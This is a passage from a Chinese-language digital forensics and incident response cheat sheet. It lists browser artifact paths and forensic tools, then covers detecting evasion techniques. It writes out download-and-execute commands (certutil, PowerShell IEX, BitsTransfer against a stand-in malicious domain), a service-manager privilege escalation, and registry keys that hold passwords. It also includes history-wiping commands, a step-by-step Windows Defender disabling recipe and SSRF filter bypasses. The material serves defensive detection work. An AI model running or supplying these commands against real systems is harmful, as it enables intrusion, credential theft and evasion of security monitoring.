*/Library/*Support/Google/Chrome/Default/Cookies*
*/Library/*Support/Google/Chrome/Default/Bookmarks*
*/Library/*Support/Google/Chrome/Default/Extensions/*
*/Library/*Support/Google/Chrome/Default/Extensions/Last*
*/Library/*Support/Google/Chrome/Default/Extensions/Shortcuts*
*/Library/*Support/Google/Chrome/Default/Extensions/Top*
*/Library/*Support/Google/Chrome/Default/Extensions/Visited*
```
用户路径:
```
/root/.*history
/Users/*/.*history
```
其他路径:
```
*/places.sqlite*
*/downloads.sqlite*
```
## 📁 工具
### 📜 Autopsy:高级数字取证分析工具
它是 Sleuth Kit 的图形用户界面,便于进行数字取证分析。它为取证镜像分析、元数据分析、高级搜索、易失性内存分析、详细报告生成、与其他取证工具集成提供了高级功能。
- https://www.autopsy.com
### 📜 X-Ways Forensics:高级数字取证分析工具
它是一种取证工具,在取证调查中提供详细分析、获取、检查和数字证据展示。另一种类似于 Autopsy 的替代方案。
- https://www.x-ways.net/forensics
### 📜 Volatility 3:内存转储分析
它是一种易失性内存 (RAM) 取证分析工具,可用于分析内存转储并搜索内存中恶意活动或文件篡改的指标。
- https://volatilityfoundation.org
### 📜 WinTriage (Securizame):Windows 取证工件分析和提取
从计算机中提取不同的用户、系统和文件系统取证工件,无论是实时还是从取证镜像中进行,以便随后由 DFIR 专业分析师在调查中进行分析和解释。
- https://www.securizame.com/wintriage
### 📜 Velociraptor:Windows 数字取证和事件响应的收集、监控和搜寻
用于实时收集有关 Windows 系统的信息,允许通过 Velociraptor Query Language (VQL) 查询详细了解系统状态和其中正在进行的活动,这些查询提供对 Windows API 的访问。实时监控包括系统信息、用户活动、事件日志、正在运行的进程、打开的文件、网络连接,可以定义和自定义工件等特性。
- https://github.com/Velocidex/velociraptor
- https://docs.velociraptor.app
### 📜 LogonTracer:Active Directory 登录可追溯性
一种通过可视化和分析 Windows Active Directory 事件日志来调查恶意登录的工具。它将在与登录相关的事件中找到的主机名(或 IP 地址)和帐户名关联起来,并将其显示为图表。通过这种方式,可以看到哪个帐户发生登录尝试以及使用哪个主机。
- https://github.com/JPCERTCC/LogonTracer
### 📜 AuthLogParser:auth.log 分析,认证相关记录摘要
Linux 认证日志 (auth.log) 分析。AuthLogParser 扫描 auth.log 日志文件并提取关键信息,例如 SSH 登录、用户创建、事件名称、IP 地址等。它提供了认证日志中记录的活动的清晰简洁的概述。
- https://github.com/YosfanEilay/AuthLogParser
### 📜 Skadi:取证工件和镜像分析
工具包,允许收集、处理和高级分析取证工件和镜像。适用于 MacOS、Windows 和 Linux 机器。
- https://github.com/orlikoski/Skadi
### 📜 GRR - Google Rapid Response
这是一个专注于实时远程取证分析的事件响应框架。GRR 是一个安装在目标系统上的 Python 客户端(代理)和一个可以管理和与客户端通信的 Python 服务器基础设施。https://grr-doc.readthedocs.io/en/latest
- https://github.com/google/grr
### 📜 Arkime - 以 PCAP 格式存储和索引网络流量
以标准 PCAP 格式存储和索引网络流量,提供快速的索引访问。提供了一个直观简单的 Web 界面来探索、搜索和导出 PCAP。
- https://github.com/arkime/arkime
### 📜 Live Forensicator - Windows、Linux 和 MacOS 上的信息和工件自动收集
收集系统(Windows、Linux 和 MacOS)的不同信息,以供后续审查以查找异常行为或意外数据输入,还搜索文件或不寻常的活动。
- https://github.com/Johnng007/Live-Forensicator
### 📜 FTK Forensic Toolkit (Exterro)
Exterro 的 FTK (Forensic Toolkit) 允许在取证调查中收集、处理和分析数据。它有助于识别和保存数字证据,以支持调查和诉讼。
- https://www.exterro.com/digital-forensics-software/forensic-toolkit
### 📜 EnCase Forensic (ondata)
*ondata 的 EnCase Endpoint Investigator*:搜索、收集、保存和分析大量数据,并生成关于这些发现的详细报告;所有这些都以集中方式进行,中断最少,并且无论网络环境的规模和复杂性如何。
*ondata 的 EnCase Forensics*:收集、保存和检查电子设备中的证据,通过先进的分析和详细报告生成功能支持刑事和法律调查。
- https://www.ondata.es/recuperar/forensics-guidance.htm
### 📜 SANS DFIR - 海报与速查表
- https://www.sans.org/posters/?focus-area=digital-forensics
# 📓 在 SIEM、SOC 和反取证系统中检测规避技术
## 📁 Windows
### 📜 Windows 命令:"net" 和 "net1"
"net1" 命令的功能与 "net" 命令相同。
```
net1 accounts
net accounts
```
### 📜 检测通过 CertUtil (LOLBin) 执行的恶意技术
"certutil.exe" 命令可能被恶意行为者用来执行各种恶意操作。配置预防性规则和警报以检测这些技术是一种良好的安全姿态。
混淆:通过 certutil 对文件进行编码和解码,从而在文件初步静态分析中逃避反恶意软件引擎的检测。
```
certutil -encode .\malware.exe bypass.txt
certutil -decode .\bypass.txt malware.exe
```
通过 certutil 从 URL 下载文件到本地。
```
certutil -urlcache -split -f https://domain.com/shell.exe shell.exe
```
下载先前以 txt 格式混淆的恶意 dll,解码并将恶意 dll 转换为 dll 库格式,使用 regsvr32 以静默模式在系统中注册 dll 库。
```
certutil -urlcache -split -f https://domain.com/evildll.txt evildll.txt
certutil -decode .\evildll.txt evildll.dll
regsvr32 /s /u .\evildll.dll
```
### 📜 检测通过 PowerShell 使用 "Invoke-WebRequest, Invoke-RestMethod, BitsTransfer" 执行的文件下载
通过 PowerShell 下载和执行文件的技术多种多样,这些技术对于恶意行为者来说很常见,以便将恶意软件传输到先前已攻陷或访问受限的机器,或者通过跳板机执行后渗透或横向移动技术。了解最常见的技术并添加检测规则是很有意义的。
Invoke-WebRequest (IWR) 和 Invoke-Expression (IEX)
```
Invoke-WebRequest -Uri 'https://domain.com/evilfile.exe' -OutFile "C:\temp\evilfile.exe"
Invoke-WebRequest -Uri 'https://domain.com/evilfile.exe' -UseBasicParsing | Select-Object Content | IEX
Invoke-WebRequest -Uri 'https://domain.com/evilfile.exe' -UseBasicParsing | IEX
IEX (Invoke-WebRequest -Uri 'https://domain.com/evilfile.exe' -UseBasicParsing).Content
IEX (Invoke-WebRequest -Uri 'https://domain.com/evilfile.exe' -UseBasicParsing)
IEX (New-Object Net.WebClient).DownloadString('https://domain.com/evilfile.exe')
```
Invoke-RestMethod (IRM) 和 Invoke-Expression (IEX)
```
Invoke-RestMethod -Method Get -Uri 'https://domain.com/evilfile.exe' | IEX
IEX (Invoke-RestMethod -Method Get -Uri 'https://domain.com/evilfile.exe')
```
BitsTransfer 同步
```
Start-BitsTransfer 'https://domain.com/evilfile.exe' -Destination "C:\temp\evilfile.exe"
```
BitsTransfer 异步
```
Start-BitsTransfer 'https://domain.com/evilfile.exe' -Destination "C:\temp\evilfile.exe" -Asynchronous
```
"BitsTransfer 异步" 在后台添加一个新的 bits 传输服务工作,即使 PowerShell 会话关闭,这也是持久的。要查看队列中的工作,使用 "Get-BitsTransfer",完成工作并下载文件使用 "Complete-BitsTransfer"。
```
Get-BitsTransfer -Name "TestJob1" | Complete-BitsTransfer
```
- 更多信息:https://github.com/adrianlois/scripts-misc/tree/main/07.PS-IEX-WebRequest-WebClient-BitsTransfer
### 📜 后渗透 - 使用 scmanager 进行 PrivEsc
使用 sc.exe 授予 SCM (服务控制管理器) 权限的持久性无文件 LPE (本地权限提升)。
- https://learn.microsoft.com/en-us/windows/win32/services/service-control-manager
```
sc.exe sdset scmanager D:(A;;KA;;;WD)
[SC] SetServiceObjectSecurity SUCCESS
```
### 📜 DLL 劫持 *cscapi.dll*
Windows 资源管理器会自动加载从未找到的 cscapi.dll这可能被利用来执行有效载荷。
- https://twitter.com/D1rkMtr/status/1613568545757220864
```
C:\Windows\cscapi.dll
```
### 📜 其他 CMD 或 PowerShell 执行技术
恶意行为者可以使用 "query" 命令在 Powershell 中创建一个新的命令行,从而可以在系统中生成持久性。如果先前执行了以下命令。
```
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Utilities\query" /v pwned /t REG_MULTI_SZ /d 0\01\0pwned\0powershell.exe
```
查询注册表键时,将执行 Powershell.exe。
```
query pwned
```
如果将 "powershell.exe" 替换为恶意可执行文件或 [LOLbin](https://lolbas-project.github.io/) 类型,检测可能会变得复杂。
### 📜 使用 *type* 下载或上传文件
1. 托管具有匿名 r/w 访问权限的 WebDAV 服务器
2. 下载:
```
type \\webdav-ip\path\file.ext > C:\path\file.ext
```
3. 上传:
```
type C:\path\file.ext > \\webdav-ip\path\file.ext
```
### 📜 阻止 USB 连接:Rubber Ducky 和 Cactus WHID
- HID - 硬件 ID
- VID - 供应商 ID
- PID - 产品 ID
**Rubber Ducky**。
```
HID\VID_03EB&PID_2401&REV_0100
```
**Cactus WHID** (whid-injector)。
```
HID\VID_1B4F&PID_9208&REV_0100&MI_02&Col02
HID\VID_1B4F&PID_9208&MI_02&Col02
```
```
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\DeviceInstall\Restrictions" -Name 'DenyDeviceIDs' -Value 1 -PropertyType DWord
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\DeviceInstall\Restrictions" -Name 'DenyDeviceIDsRetroactive' -Value 1 -PropertyType DWord
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\DeviceInstall\Restrictions\DenyDeviceIDs" -Name 'HID\VID_03EB&PID_2401&REV_0100' -Value 1 -PropertyType String
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\DeviceInstall\Restrictions\DenyDeviceIDs" -Name 'HID\VID_1B4F&PID_9208&MI_02&Col02' -Value 1 -PropertyType String
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\DeviceInstall\Restrictions\DenyDeviceIDs" -Name 'HID\VID_1B4F&PID_9208&REV_0100&MI_02&Col02' -Value 1 -PropertyType String
```
### 📜 存储密码的 Windows 注册表键
Windows 注册表键,其中存储了系统和最常见第三方工具的密码,在后渗透阶段被搜寻。
这些键按出现频率从高到低排序。
```
KLM\Software\RealVNC\WinVNC4
HKCU\Software\SimonTatham\PuTTY\Sessions
HKCU\Software\ORL\WinVNC3\Password
HKLM\SYSTEM\Current\ControlSet\Services\SNMP
HKCU\Software\Polices\Microsoft\Windows\Installer
HKLM\SYSTEM\CurrentControlSet\Services\SNMP
HKCU\Software\TightVNC\Server
HKCU\Software\OpenSSH\Agent\Keys
HKLM\SYSTEM\CurrentControlSet\Control\LSA
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential
HKLM\Software\RealVNC\vncserver
HKLM\Software\RealVNC\WinVNC4\Password
HKLM\Software\RealVNC
HKCU\Software\PremiumSoft\Navicat\Servers
HKLM\SYSTEM
HKLM\SAM
HKCU\Software\PremiumSoft\NavicatMONGODB\Servers
HKCU\Software\PremiumSoft\NavicatMSSQL\Servers
HKCU\Software\PremiumSoft\NavicatPG\Servers
HKCU\Software\PremiumSoft\NavicatSQLite\Servers
HKCU\Software\PremiumSoft\NavicatMARIADB\Servers
HKCU\Software\PremiumSoft\NavicatOra\Servers
HKCU\Software\TigerVNC\WinVNC4
```
### 📜 WDigest 认证:已启用 / 已禁用
如果恶意软件强制启用 [WDigest](https://datatracker.ietf.org/doc/html/rfc2617) 认证,密码将以明文形式存储在 lsass.exe 进程 (LSASS - 本地安全机构子系统服务) 的内存中。
```
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest
Deshabilitado: UseLogonCredential = 0 (Seguro)
Habilitado: UseLogonCredential = 1 (Inseguro)
```
### 📜 检测系统是物理机还是虚拟机及其管理程序或 CSP (Azure, AWS, GCP) 类型
PowerShell
```
Get-MpComputerStatus | Select-Object "IsVirtualMachine" | fl
```
```
Get-WmiObject -Class Win32_ComputerSystem | Select-Object -Property Model, Manufacturer
Get-WmiObject -Class Win32_BIOS | Select-Object -Property SMBIOSBIOSVersion
```
CMD
```
WMIC BIOS > wmic_bios.txt
...
BIOSVersion SMBIOSBIOSVersion
{"VBOX -1"} VirtualBox
...
```
GUI
```
msinfo32 /report > Producto de placa base
```
**检测 CSP (云服务提供商)**:Amazon EC2、Google Cloud、Alibaba Cloud、VMware, Inc.、Microsoft Hyper-V 等。
```
("HKLM:\HARDWARE\DESCRIPTION\System", "HKLM:\HARDWARE\DESCRIPTION\System\BIOS") | ForEach-Object { Get-ItemProperty -Path $_ } | Select-Object -Property SystemBiosVersion, SystemManufacturer, SystemProductName
```
### 📜 Windows 命令执行中的混淆技术
- https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation
### 📜 检测打开命令提示符 时的 AutoRun 操作
攻击者在以下注册表键中创建了 *"AutoRun"* 值,这里可能添加了一个恶意命令作为其值数据。现在,每次启动 cmd 控制台时,此命令将自动执行。
```
HKLM\SOFTWARE\Microsoft\Command Processor
```
### 📜 .exe 的替代可执行扩展名
攻击者可以将恶意文件的扩展名重命名为:
- **.pif**、**.scr** 或 **.com**
所有扩展名的执行方式都与 .exe 相同。
### 📜 检测因位置错误(目录 $INDEX_ALLOCATION 中的 NTFS 流)无法访问的文件夹中正在运行的恶意软件
可能的恶意行为者可以通过执行 dir 命令创建一个通过命令行可见的文件夹,并且/或者也可以在 Windows 资源管理器中看到它。
在这两种情况下,都无法访问此目录,因为名称不是我们在屏幕上或控制台输出中看到的那样创建的,而是可能是在名称末尾带有一个点创建的,建立了一种 *$INDEX_ALLOCATION* 流类型和一个 *\$I30* 流名称或为空,两者是等效的。
```
md .::$index_allocation
md .:$I30:$index_allocation
```
这样,目录名称后面会出现一个点,但当尝试访问它时,无论是通过双击图形界面还是通过控制台使用 "cd",都会显示一条错误消息,指示该计算机的"位置不可用或不正确"。解决此问题的一种方法是通过控制台中的 "cd" 并指示:"*文件夹名称.+空流+流类型*"。(Powershell 不支持此功能)
```
cd .::$index_allocation
cd .:$I30:$index_allocation
```
- NTFS 流:https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/c54dec26-1551-4d3a-a0ea-4fa40f848eb3
示例
```
C:\malware>md test1
C:\malware>tree
Listado de rutas de carpetas
El número de serie del volumen es FFFFFF65 AC06:D3EE
C:.
├───test1
C:\malware>cd test1
C:\malware\test1>cd ..
C:\malware>md test2.::$index_allocation
C:\malware>tree
Listado de rutas de carpetas
El número de serie del volumen es FFFFFF65 AC06:D3EE
C:.
├───test1
└───test2.
C:\malware>cd test2.
El sistema no puede encontrar la ruta especificada.
C:\malware>cd test2.::$index_allocation
C:\malware\test2.::$index_allocation>cd ..
C:\malware>
```
### 📜 Windows Search Index:反取证和规避技术检测
关于 [Windows Search Index(Windows.edb、.crwl、.blf、.jrs 文件)](#-windows-search-index-archivos-windowsedb-crwl-blf-jrs)的工件。
- **重建索引**:删除索引历史记录。
- `控制面板 > 索引选项 > 高级 > 重建`
- **使用未索引的扩展名**:默认情况下,**.xyz**、**.dat** 文件或其他未与 ***PersistentHandler*** 关联的扩展名不会被索引。
- **操纵 PersistentHandler**:更改文件处理方式的行为。
```
[HKEY_CLASSES_ROOT\.pdf]
@="exefile"
"PersistentHandler"="{098f2470-bae0-11cd-b579-08002b30bfeb}"
```
- **禁用搜索服务**:(先前已攻陷特权帐户)
- 停止 **WSearch** 服务。
- 通过组策略或在易受攻击的计算机上通过本地配置(services.msc 或 regedit)禁用或配置服务。
- **手动删除文件**:.crwl、.log 和 .edb
### 📜 禁用 Windows Defender 以规避恶意二进制文件执行时的 AMSI 检测(通过注册表 ControlSet00X 重命名 MsMpEng.exe)
一种规避 Windows 默认保护系统的方法是重命名 Windows Defender 服务执行进程的文件。这样,在系统启动时,由于找不到正确启动 Windows Defender 服务进程的此文件名,它将无法运行。这允许恶意行为者执行恶意二进制文件,例如 Mimikatz 或其他。
**MsMpEng.exe** 是 Windows Defender 反恶意软件应用程序的主进程。Windows Defender 预安装在 Windows 11 和 Windows 10 中,位于 "*C:\Program Files\Windows Defender\MsMpEng.exe*"
即使以管理员等特权用户身份处于上下文中,此进程也无法通过重命名进行修改,因为它一直在使用中。但是,可以通过离线编辑 "ControlSet00X" 的相应注册表键来重命名此文件在系统启动时的调用:导出、修改 MsMpEng 修改值的扩展名、创建一个将导入此更改的新 ControlSet 键、将系统默认值更改为此新键以便系统默认启动分配此新 ControlSet,最后重新启动计算机。
1. Regedit > 导出配置单元:`HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001` > 保存到新文件 reg1.dat。
2. 从 [HxD](https://mh-nexus.de/en/hxd) 编辑:
- 打开 reg1.dat > 搜索 "msmpeng.exe" > 设置 "text encoding: Unicode UTF-16"。
3. 重命名扩展名:"msmpeng.exe" 改为 "msmpeng.xxx" > 保存 reg1.dat。
4. Regedit > 创建新的空键 > `HKEY_LOCAL_MACHINE\SYSTEM\ControlSet007` > 导入 reg1.dat。
5. 按顺序 ControlSet001 是系统启动时默认加载的键。在先前创建的 ControlSet 对应的 "HKLM\SYSTEM\Select" 键中更改此优先级的顺序,对应于 ControlSet007:
- 更改 `HKEY_LOCAL_MACHINE\SYSTEM\Select` > "Current" > 值:7
- 更改 `HKEY_LOCAL_MACHINE\SYSTEM\Select` > "Default" > 值:7
- 更改 `HKEY_LOCAL_MACHINE\SYSTEM\Select` > "LastKnowGood" > 值:7
6. 重启计算机。
## 📁 Linux
### 📜 *debugfs* 用于在访问带有审计的文件或执行命令时规避警报
如果恶意行为者访问关键文件,该文件可能受到审计,SOC 研究人员将收到警报。但是,如果使用 "*debugfs*" 命令访问文件,则可以绕过此警报。
- https://gtfobins.github.io/gtfobins/debugfs
```
df -h
sudo debugfs /dev/sda1
debugfs: ls
debugfs: cat /etc/passwd
... modo interactivo ...
```
- 参考:https://gtfobins.github.io
### 📜 检测 history 中隐藏的命令执行
带有后缀 * (星号) 的历史行意味着它已被修改。例如,使用向上键 (↑),进行编辑,然后再次按向上键切换到另一个历史命令而不按 Enter。当再次运行 history 时,会看到历史记录中的一个命令已被修改,但不会知道最初执行的命令是什么。
```
$ sudo bash malware.sh
$ history
1 clear
2 sudo bash malware.sh
3 history
```
按向上键 (↑),修改文本字符串,如果不按 Enter 再次按向上键 (↑) 切换到另一个过去的命令,删除并再次运行 history 以检查初始命令是否未被存储,而是被替换而没有执行。
```
$ sudo bash software.sh
$ history
1 clear
2* bash software.**sh**
3 history
```
### 📜 禁用 Shell 历史记录的使用
恶意行为者可以执行这些命令,以不保存或记录 .bash_history 文件中的 shell 操作历史记录,作为一种反取证技术并避免被检测到。
```
export HISTFILE=/dev/null
export HISTFILESIZE=0
```
### 📜 删除 Shell 命令历史记录(.bash_history & .zsh_history)
清除当前用户的所有历史记录。
```
history -cw
```
清除当前用户的历史记录并不留痕迹地退出。
```
history -cw && exit
```
手动清除历史记录,手动删除其内容。
```
nano /home/user/.bash_history
nano /home/user/.zsh_history
```
手动清除历史记录,清空其内容。
```
cat /home/user/.bash_history 2> /dev/null > /home/user/.bash_history
cat /home/user/.zsh_history 2> /dev/null > /home/user/.zsh_history
```
### 📜 Linux 中以下命令的特权使用审计
应审计以下特权命令:
| | | | | | |
|:-:|:-:|:-:|:-:|:-:|:-:|
| agetty | cvsbug | fdisk | ipcs | mkswap | quotacheck |
| arp | debugfs | fsck | lpc |mountd | quotaoff |
| badblocks | dmesg | ftpd | lpd | nfsd | quotaon |
| Cfdisk | dumpe2fs | inetd | makedev | nslookup | renice |
| Chroot | e2fsck | init | mke2fs | overchan | repquota |
| Crond | edquota | nndstart | mkfs | plipconfig | rpcinfo |
| ctrlaltdel | fdformat | ipcrm | mklost+found | portmap |
以下命令默认情况下不安装,但如果因系统要求而安装,也应进行审计:
| | | | | | |
|:-:|:-:|:-:|:-:|:-:|:-:|
| archive | expire | klogd | newsdaily | pppd | rpcrwalld |
| buffchan | expireover | named-xfer | newslog | pppstats | rquotad |
| chat | fastrm | named | newsrequeue | prunehistory | rpcrquotad |
| comsat | filechan | namedreload | nnrpd | rarp | rshd |
- 参考:https://gtfobins.github.io
## 📁 网络
### 📜 WAF 绕过 (SSRF):使用本地 IP 缩短
| 阻止 | 绕过 |
|--------------------|------------------|
| http://10.0.0.1 | http://1.1 |
| http://127.0.0.1 | http://127.1 |
| http://192.168.0.5 | http://192.168.5 |
### 📜 用于混淆的分配给 IPv4 的 IPv6 地址
可以将 IPv6 地址分配给 IPv4 地址。因此,如果恶意行为者试图识别服务器以连接到 IPv4 地址并被安全解决方案阻止。尝试使用此技术混淆通信并避免可能的检测。
```
ping ::ffff:8.8.8.8
Haciendo ping a 8.8.8.8 con 32 bytes de datos:
Respuesta desde 8.8.8.8: bytes=32 tiempo=13ms TTL=117
```
甚至 IPv4 部分也可以转换为十六进制。
```
ping ::ffff:0808:0808
Haciendo ping a 8.8.8.8 con 32 bytes de datos:
Respuesta desde 8.8.8.8: bytes=32 tiempo=13ms TTL=117
```
- 参考:https://isc.sans.edu/diary/30466
## 📁 其他
### 📜 Forensia (反取证)
用于红队的反取证工具,用于在后渗透阶段清除一些痕迹。
- https://github.com/PaulNorman01/Forensia
标签:AI合规, DAST, HTTPS请求, ShellBags分析, Sysmon, Windows取证, 事件响应流程, 事件日志分析, 反取证技术, 后渗透, 子域名变形, 安全运营, 安全防御绕过, 库, 应急响应, 恶意软件分析, 扫描框架, 数字取证, 无线安全, 流量嗅探, 网络安全, 网络安全审计, 自动化脚本, 计划任务分析, 请求拦截, 隐私保护